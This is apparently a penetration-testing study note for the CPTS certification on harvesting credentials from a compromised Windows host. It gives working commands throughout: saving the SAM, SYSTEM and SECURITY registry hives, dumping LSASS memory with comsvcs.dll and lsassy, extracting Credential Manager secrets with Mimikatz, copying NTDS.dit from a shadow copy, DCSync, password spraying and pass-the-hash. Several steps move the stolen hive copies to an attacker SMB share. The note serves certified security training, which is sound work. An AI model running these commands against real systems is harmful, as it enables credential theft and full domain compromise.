~/looting-windows

Looting (Windows)

CPTS Notes7 min read

TL;DR

With a Windows foothold, and ideally local admin or SYSTEM, every credential store on the host is loot. Dump it on the target, pull the copies to your attack host, and crack offline in Cracking or reuse the hash without cracking.

The stores are the local SAM, LSASS process memory, the user’s Credential Manager, and on a domain controller the whole-domain NTDS.dit. Searching the filesystem for passwords in plain files is the sibling job in Hunting (Windows).

Where credentials live

Store Holds Reach it with
HKLM\SAM Local account NT hashes Local admin
HKLM\SYSTEM Boot key that decrypts SAM and NTDS Local admin
HKLM\SECURITY LSA secrets, DCC2 cached domain creds, DPAPI keys Local admin
LSASS memory Live logon secrets: NT hash, Kerberos keys, sometimes cleartext SYSTEM or local admin
Credential Manager Saved creds for apps, RDP, websites, and shares The owning user
NTDS.dit Every domain account’s hash Domain admin, or local admin on a DC

SAM, SYSTEM, and SECURITY

The local hashes live in SAM, encrypted with a boot key in SYSTEM. SECURITY adds cached domain logons and LSA secrets. Save all three hives, then decrypt them offline. SAM plus SYSTEM is enough for local hashes, but SECURITY often pays off on a domain-joined host.

Save the hives on the target as admin:

REM save the three registry hives to disk
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save

Pull the copies to your attack host over an SMB share (see Serving files for the impacket-smbserver side):

REM set the share path once, then move each hive
set DEST=\\<you>\share
move sam.save %DEST%
move system.save %DEST%
move security.save %DEST%

Or the same in PowerShell, where most shells land now:

$dest = '\\<you>\share' # set the share path once
Move-Item sam.save $dest
Move-Item system.save $dest
Move-Item security.save $dest

Decrypt offline with Impacket:

impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL # dump hashes and LSA secrets

The output marks each type. Local account lines are uid:rid:lmhash:nthash, so crack the NT hash with -m 1000. A $DCC2$ line is a cached domain credential: crack it with -m 2100, which is roughly 800 times slower, so treat it as a long shot. Hash modes are in Cracking.

With an admin credential and SMB open, skip the copies. secretsdump saves and reads the hives over the network itself:

impacket-secretsdump '<admin>:<pass>@'$TARGET # SAM, LSA secrets, and cached domain creds
impacket-secretsdump -hashes :<nthash> '<admin>@'$TARGET # -hashes LM:NT, the LM half left empty

It starts the RemoteRegistry service and writes temporary hive copies on the target, which EDR may flag. Save the hives by hand when you hold a shell but no admin credential, or when SMB is filtered. nxc from SMB dumps the same over the network with --sam and --lsa.

LSASS memory

LSASS caches the secrets for every active logon session: the NT hash, Kerberos keys, DPAPI master keys, and on legacy WDIGEST hosts the cleartext password.

The quickest path reuses nxc: the lsassy module dumps and parses LSASS in one command, with local admin:

nxc smb $TARGET -u <admin> -p '<pass>' -M lsassy # remote LSASS dump, prints the secrets

Each line is <DOMAIN>\<user> <nthash>, one per logon session. The hash is an NT hash, the same format as the SAM, so crack it with -m 1000 or pass it as is. The prefix is where the account lives: the host name for a local account, the domain name for a domain account. .\ also means local. When nxc cannot reach the host, or AV blocks the remote dump, snapshot the memory on the target and parse it offline instead. Store the PID, then dump with the built-in comsvcs.dll:

$id = (Get-Process lsass).Id # lsass PID, $pid is taken by the current shell
rundll32 C:\windows\system32\comsvcs.dll, MiniDump $id C:\lsass.dmp full # dump LSASS memory, needs SYSTEM

In cmd, read the PID from the process list and type it in place of $id:

REM find the lsass.exe PID
tasklist /svc

Antivirus and EDR flag this comsvcs call, and LSA Protection (RunAsPPL) blocks reading LSASS at all. With a GUI session, Task Manager does the same quietly: right-click Local Security Authority Process, then Create dump file.

Parse the dump on your attack host with pypykatz, the offline LSASS parser (a Python Mimikatz that runs on Linux):

pypykatz lsa minidump lsass.dmp # extract NT hashes, Kerberos keys, and any cleartext

Read the MSV block for the NT hash, WDIGEST for a cleartext password, and DPAPI for master keys.

Credential Manager

Credential Manager stores a user’s saved logins for apps, RDP, websites, and shares, encrypted per user with DPAPI. List the current user’s saved credentials:

cmdkey /list # saved credentials for this user

A Domain Password entry marked interactive runs as that user without you ever seeing the password:

REM run cmd as the stored user, reusing the saved credential
runas /savecred /user:<DOMAIN>\<user> cmd

To extract the plaintext, Mimikatz reads it from LSASS:

privilege::debug
sekurlsa::credman

SharpDPAPI, LaZagne, and DonPAPI pull the same vault, with DonPAPI doing it remotely.

NTDS.dit on a domain controller

NTDS.dit holds every domain account’s hash. Capturing it compromises the whole domain, so it is the prize on a DC. You need domain admin, or local admin on the DC itself.

First, reach the DC with a credential. A short dictionary run against the domain often gets one: build usernames from employee names, confirm which exist, then spray.

./username-anarchy -i names.txt > users.txt # real names into username formats
kerbrute userenum --dc $TARGET --domain <domain> users.txt # keep only the usernames that exist

Spray a password across the confirmed users with nxc (see Spraying and Defaults). Then connect over WinRM with evil-winrm and dump the file.

SYSTEM holds the boot key that decrypts those hashes, so you need both. A volume shadow copy frees the locked NTDS.dit:

REM shadow-copy C:, then copy the locked file out of it
vssadmin CREATE SHADOW /For=C:
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\NTDS.dit
reg.exe save hklm\system C:\system.save

Move both to your attack host, then extract the hashes offline:

impacket-secretsdump -ntds NTDS.dit -system system.save LOCAL # dump every domain hash

One nxc module does the shadow copy, the dump, and the cleanup in a single command, and prints the hashes to your terminal:

nxc smb $TARGET -u <user> -p '<pass>' -M ntdsutil # capture and dump NTDS.dit remotely

nxc from SMB also dumps it with --ntds once you hold DC admin.

secretsdump gets the same hashes from your attack host without touching the file. Against a DC it asks for them over directory replication (DCSync), which needs domain admin or replication rights:

impacket-secretsdump -just-dc-ntlm '<domain>/<user>:<pass>@'$TARGET # -just-dc-ntlm: NT hashes from NTDS only

After the hashes

Crack the NT hashes in Cracking, or skip cracking and reuse a hash directly. Pass-the-Hash authenticates with the NT hash in place of the password, over SMB or WinRM:

nxc smb $TARGET -u <user> -H <nthash> # authenticate with the hash
evil-winrm -i $TARGET -u <user> -H <nthash> # WinRM shell with the hash

A cracked or reused password often works on other hosts, so try every credential across the network.